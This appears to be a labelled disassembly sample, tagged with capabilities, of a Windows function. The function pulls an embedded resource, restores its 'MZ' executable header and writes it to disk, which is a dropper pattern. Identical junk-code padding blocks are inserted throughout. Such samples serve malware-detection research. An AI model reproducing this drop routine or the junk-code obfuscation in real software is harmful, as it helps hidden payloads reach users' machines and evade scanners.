Function at 0x4012c0
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x405130
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push ebx
push esi
push edi
mov dword [ebp - 4], 0
nop
nop
nop
mov edi, edi
push eax
inc eax
inc eax
sub eax, 2
pop eax
nop
nop
nop
push ecx
xor ecx, ecx
mov ecx, 0x72998a4e
mov ecx, 0x4914a490
mov ecx, 0xce82cc3e
mov ecx, 0x506adf8b
pop ecx
nop
nop
push edx
xor edx, edx
mov edx, 0x274b4b0b
mov edx, 0xc812658
mov edx, 0xad016503
mov edx, 0x8d637d50
pop edx
nop
nop
nop
mov edi, edi
nop
nop
nop
nop
nop
nop
nop
nop
push ecx
mov ecx, 0xcea1eb59
pop ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
push ebx
xor ebx, ebx
mov ebx, 0x3f41239a
pop ebx
nop
nop
nop
push edx
inc edx
inc edx
inc edx
inc edx
sub edx, 4
pop edx
nop
nop
nop
push eax
xor eax, eax
mov eax, 0xf355438a
sub eax, 5
inc eax
inc eax
inc eax
inc eax
inc eax
pop eax
nop
nop
nop
push ecx
inc ecx
inc ecx
sub ecx, 0xfffffffe
pop ecx
nop
nop
nop
nop
mov edi, edi
mov esi, esi
nop
nop
nop
mov ecx, dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
and ecx, 0xffff
push eax
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
mov dword [ebp - 0x14], eax
jne 0x4013a6
mov byte [ebp - 4], al
jmp 0x40182d
nop
nop
nop
mov edi, edi
push eax
inc eax
inc eax
sub eax, 2
pop eax
nop
nop
nop
push ecx
xor ecx, ecx
mov ecx, 0x72998a4e
mov ecx, 0x4914a490
mov ecx, 0xce82cc3e
mov ecx, 0x506adf8b
pop ecx
nop
nop
push edx
xor edx, edx
mov edx, 0x274b4b0b
mov edx, 0xc812658
mov edx, 0xad016503
mov edx, 0x8d637d50
pop edx
nop
nop
nop
mov edi, edi
nop
nop
nop
nop
nop
nop
nop
nop
push ecx
mov ecx, 0xcea1eb59
pop ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
push ebx
xor ebx, ebx
mov ebx, 0x3f41239a
pop ebx
nop
nop
nop
push edx
inc edx
inc edx
inc edx
inc edx
sub edx, 4
pop edx
nop
nop
nop
push eax
xor eax, eax
mov eax, 0xf355438a
sub eax, 5
inc eax
inc eax
inc eax
inc eax
inc eax
pop eax
nop
nop
nop
push ecx
inc ecx
inc ecx
sub ecx, 0xfffffffe
pop ecx
nop
nop
nop
nop
mov edi, edi
mov esi, esi
nop
nop
nop
mov edx, dword [ebp - 0x14]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
mov dword [ebp + 0x10], eax
jne 0x40145d
mov byte [ebp - 4], al
jmp 0x40182d
nop
nop
nop
mov edi, edi
push eax
inc eax
inc eax
sub eax, 2
pop eax
nop
nop
nop
push ecx
xor ecx, ecx
mov ecx, 0x72998a4e
mov ecx, 0x4914a490
mov ecx, 0xce82cc3e
mov ecx, 0x506adf8b
pop ecx
nop
nop
push edx
xor edx, edx
mov edx, 0x274b4b0b
mov edx, 0xc812658
mov edx, 0xad016503
mov edx, 0x8d637d50
pop edx
nop
nop
nop
mov edi, edi
nop
nop
nop
nop
nop
nop
nop
nop
push ecx
mov ecx, 0xcea1eb59
pop ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
push ebx
xor ebx, ebx
mov ebx, 0x3f41239a
pop ebx
nop
nop
nop
push edx
inc edx
inc edx
inc edx
inc edx
sub edx, 4
pop edx
nop
nop
nop
push eax
xor eax, eax
mov eax, 0xf355438a
sub eax, 5
inc eax
inc eax
inc eax
inc eax
inc eax
pop eax
nop
nop
nop
push ecx
inc ecx
inc ecx
sub ecx, 0xfffffffe
pop ecx
nop
nop
nop
nop
mov edi, edi
mov esi, esi
nop
nop
nop
mov eax, dword [ebp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, dword [ebp - 0x14]
mov dword [ebp + 0x10], eax
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edx, dword [ebp + 8]
push 0x407038
push edx
mov dword [ebp - 0x18], eax
call dword [sym.imp.MSVCRT.dll_fopen]
add esp, 8
mov dword [ebp - 0x14], eax
nop
nop
nop
mov edi, edi
push eax
inc eax
inc eax
sub eax, 2
pop eax
nop
nop
nop
push ecx
xor ecx, ecx
mov ecx, 0x72998a4e
mov ecx, 0x4914a490
mov ecx, 0xce82cc3e
mov ecx, 0x506adf8b
pop ecx
nop
nop
push edx
xor edx, edx
mov edx, 0x274b4b0b
mov edx, 0xc812658
mov edx, 0xad016503
mov edx, 0x8d637d50
pop edx
nop
nop
nop
mov edi, edi
nop
nop
nop
nop
nop
nop
nop
nop
push ecx
mov ecx, 0xcea1eb59
pop ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
push ebx
xor ebx, ebx
mov ebx, 0x3f41239a
pop ebx
nop
nop
nop
push edx
inc edx
inc edx
inc edx
inc edx
sub edx, 4
pop edx
nop
nop
nop
push eax
xor eax, eax
mov eax, 0xf355438a
sub eax, 5
inc eax
inc eax
inc eax
inc eax
inc eax
pop eax
nop
nop
nop
push ecx
inc ecx
inc ecx
sub ecx, 0xfffffffe
pop ecx
nop
nop
nop
nop
mov edi, edi
mov esi, esi
nop
nop
nop
mov eax, dword [ebp + 0x10]
mov byte [eax], 0x4d
nop
nop
nop
mov edi, edi
push eax
inc eax
inc eax
sub eax, 2
pop eax
nop
nop
nop
push ecx
xor ecx, ecx
mov ecx, 0x72998a4e
mov ecx, 0x4914a490
mov ecx, 0xce82cc3e
mov ecx, 0x506adf8b
pop ecx
nop
nop
push edx
xor edx, edx
mov edx, 0x274b4b0b
mov edx, 0xc812658
mov edx, 0xad016503
mov edx, 0x8d637d50
pop edx
nop
nop
nop
mov edi, edi
nop
nop
nop
nop
nop
nop
nop
nop
push ecx
mov ecx, 0xcea1eb59
pop ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
push ebx
xor ebx, ebx
mov ebx, 0x3f41239a
pop ebx
nop
nop
nop
push edx
inc edx
inc edx
inc edx
inc edx
sub edx, 4
pop edx
nop
nop
nop
push eax
xor eax, eax
mov eax, 0xf355438a
sub eax, 5
inc eax
inc eax
inc eax
inc eax
inc eax
pop eax
nop
nop
nop
push ecx
inc ecx
inc ecx
sub ecx, 0xfffffffe
pop ecx
nop
nop
nop
nop
mov edi, edi
mov esi, esi
nop
nop
nop
mov ecx, dword [ebp + 0x10]
mov eax, dword [ebp - 0x14]
xor ebx, ebx
cmp eax, ebx
mov byte [ecx + 1], 0x5a
je 0x40182a
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x10], ebx
cmp eax, ebx
jbe 0x4017f0
nop
nop
nop
mov edi, edi
push eax
inc eax
inc eax
sub eax, 2
pop eax
nop
nop
nop
push ecx
xor ecx, ecx
mov ecx, 0x72998a4e
mov ecx, 0x4914a490
mov ecx, 0xce82cc3e
mov ecx, 0x506adf8b
pop ecx
nop
nop
push edx
xor edx, edx
mov edx, 0x274b4b0b
mov edx, 0xc812658
mov edx, 0xad016503
mov edx, 0x8d637d50
pop edx
nop
nop
nop
mov edi, edi
nop
nop
nop
nop
nop
nop
nop
nop
push ecx
mov ecx, 0xcea1eb59
pop ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
push ebx
xor ebx, ebx
mov ebx, 0x3f41239a
pop ebx
nop
nop
nop
push edx
inc edx
inc edx
inc edx
inc edx
sub edx, 4
pop edx
nop
nop
nop
push eax
xor eax, eax
mov eax, 0xf355438a
sub eax, 5
inc eax
inc eax
inc eax
inc eax
inc eax
pop eax
nop
nop
nop
push ecx
inc ecx
inc ecx
sub ecx, 0xfffffffe
pop ecx
nop
nop
nop
nop
mov edi, edi
mov esi, esi
nop
nop
nop
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp + 0x10]
push edx
push 1
add eax, ecx
push 1
push eax
call dword [sym.imp.MSVCRT.dll_fwrite]
add esp, 0x10
nop
nop
nop
mov edi, edi
push eax
inc eax
inc eax
sub eax, 2
pop eax
nop
nop
nop
push ecx
xor ecx, ecx
mov ecx, 0x72998a4e
mov ecx, 0x4914a490
mov ecx, 0xce82cc3e
mov ecx, 0x506adf8b
pop ecx
nop
nop
push edx
xor edx, edx
mov edx, 0x274b4b0b
mov edx, 0xc812658
mov edx, 0xad016503
mov edx, 0x8d637d50
pop edx
nop
nop
nop
mov edi, edi
nop
nop
nop
nop
nop
nop
nop
nop
push ecx
mov ecx, 0xcea1eb59
pop ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
push ebx
xor ebx, ebx
mov ebx, 0x3f41239a
pop ebx
nop
nop
nop
push edx
inc edx
inc edx
inc edx
inc edx
sub edx, 4
pop edx
nop
nop
nop
push eax
xor eax, eax
mov eax, 0xf355438a
sub eax, 5
inc eax
inc eax
inc eax
inc eax
inc eax
pop eax
nop
nop
nop
push ecx
inc ecx
inc ecx
sub ecx, 0xfffffffe
pop ecx
nop
nop
nop
nop
mov edi, edi
mov esi, esi
nop
nop
nop
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x18]
inc eax
cmp eax, ecx
mov dword [ebp - 0x10], eax
jb 0x40168a
xor ebx, ebx
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
lea ecx, [ebp + 8]
mov byte [ebp - 4], bl
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp + 0xc]
mov dword [ebp - 4], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov byte [ebp - 4], bl
lea ecx, [ebp + 8]
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp + 0xc]
mov dword [ebp - 4], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
xor al, al
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret